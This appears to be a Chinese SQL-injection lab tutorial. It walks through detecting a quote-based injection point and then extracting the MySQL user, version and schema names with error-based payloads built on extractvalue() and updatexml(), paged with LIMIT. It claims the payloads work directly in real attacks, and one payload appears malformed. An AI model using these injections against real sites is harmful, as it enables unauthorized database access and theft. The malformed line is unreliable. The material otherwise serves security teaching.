1.寻找注入点
初始页面无id参数
添加?id参数页面没有回显数据而是提示错误信息
使用’测试页面报错,可能存在SQL注入
分析报错语句:
'1'' LIMIT 0,1
除有错误
我们的输入'
猜测原语句可能为
SELECT * FROM table WHERE id = '1' LIMIT 0,1;
需要闭合'
继续测试
and '1' = '1
页面正常错误提示
and '1' = '2
页面无回显
存在SQL注入漏洞
页面不回显数据只是提示错误信息属于SQL注入当中的报错注入
这时我们就要使用一些特定的函数,让其错误信息给我们提示出数据库信息
凡是可以让错误信息显示的函数或语句,都能实现报错注入,
这里我们介绍两种基于xpath语法错误的报错注入函数
XML是一种类似于HTML的标记语言
Xpath就是一种用来查找XML文档信息的语言
通常采用/xxx/xxx/xx这样的格式,如果格式不对就会报错,并将错误内容在报错信息里回显,
以下payload可直接在实战中使用
extractvalue() 用来对XML文档进行查询的函数
接收两个参数: 第一个XML文档,第二个xpath格式字符串
select extractvalue(1,concat(0x7e,(select user()),0x7e))
updatexml() 用来更新XML文档
接收三个参数: 第一个XML文档,第二个xpath格式字符串,第三个字符串
select updatexml(1,concat(0x7e,(select user()),0x7e),1)
2.开始注入
对于报错注入我们可以直接使用逻辑运算符连接并执行两条语句
可以使用or,and等逻辑运算符
先闭合左边的'
构造payload
'or (select updatexml(1,'0x7e,(select version()),0x7e',1))%23
如果我们只是让xpath语法错误只会显示出使其错误的字符串
并不会执行其中的函数,所以我们需要用到concat函数
concat()函数: 连接几个字符串为一个,如果字符串中有可执行的函数则执行
先闭合左边的'
构造payload
' or select updatexml(1,concat(0x7e,(select version()),0x7e),1)
ASCII码: 一种字符编码表,对于字符有二进制、八进制、十进制、十六进制等形式
用concat包裹住我们构造的语句,那么就会执行被包裹的可执行函数
中间可以执行任意语句,为了让报错信息更显眼在两边拼接了~字符,
使用了ASCII码的十六进制,我们还可以使用这个表当中的其他字符的十六进制字符
只能使用十六进制的形式
SELECT group_concat(schema_name) FROM information_schema.schemata
继续注入,当我们使用内置库查询语句查询所有库时发现显示不完整
因为extractvalue(),updatexml()这两个函数能查询的最大字符串长度为32个,所以结果信息显示不完整
这时我们就可以使用limit子句来实现分页查询
SELECT schema_name FROM information_schema.schemata limit 0,1
limit 两个参数: 第一个是返回记录的偏移量,第二个参数返回记录的最大个数
初始偏移量从0开始
这时我们只要更改左边的参数就能一个一个的把库给查出来了
查出库在查表查字段